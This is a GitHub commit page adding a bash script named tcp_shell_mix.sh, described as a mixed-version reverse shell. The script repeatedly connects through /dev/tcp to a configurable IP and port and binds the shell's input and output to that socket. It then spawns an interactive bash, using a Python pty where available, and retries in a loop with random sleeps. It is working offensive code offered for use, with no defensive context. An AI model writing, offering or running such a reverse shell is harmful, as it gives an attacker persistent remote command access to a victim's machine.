Skip to content

Commit

Permalink
反弹shell_混合版
Browse files Browse the repository at this point in the history
  • Loading branch information
Lingerhk committed Jan 21, 2017
1 parent 9657b52 commit 9ee23b5
Showing 1 changed file with 31 additions and 0 deletions.
31 changes: 31 additions & 0 deletions reverse_shell/tcp_shell_mix.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,31 @@
#!/bin/bash

# > desc: bash反弹shell混合版
# > author: s0nnet
# > time: 2017-01-20


function reverse_shell()
{
ip=127.0.0.1
port=8089
sleep_tm=1

while [ 1 ]
do {
exec 9<> /dev/tcp/$ip/$port
[ $? -ne 0 ] && exit 0 || exec 0<&9;exec 1>&9 2>&1
if type python >/dev/null; then
python -c 'import pty; pty.spawn("/bin/bash")'
else
/bin/bash --refile "welcome!" --noprofile -i
fi
}&
wait

sleep $((RANDOM%sleep_tm))

done
}

reverse_shell

0 comments on commit 9ee23b5

Please sign in to comment.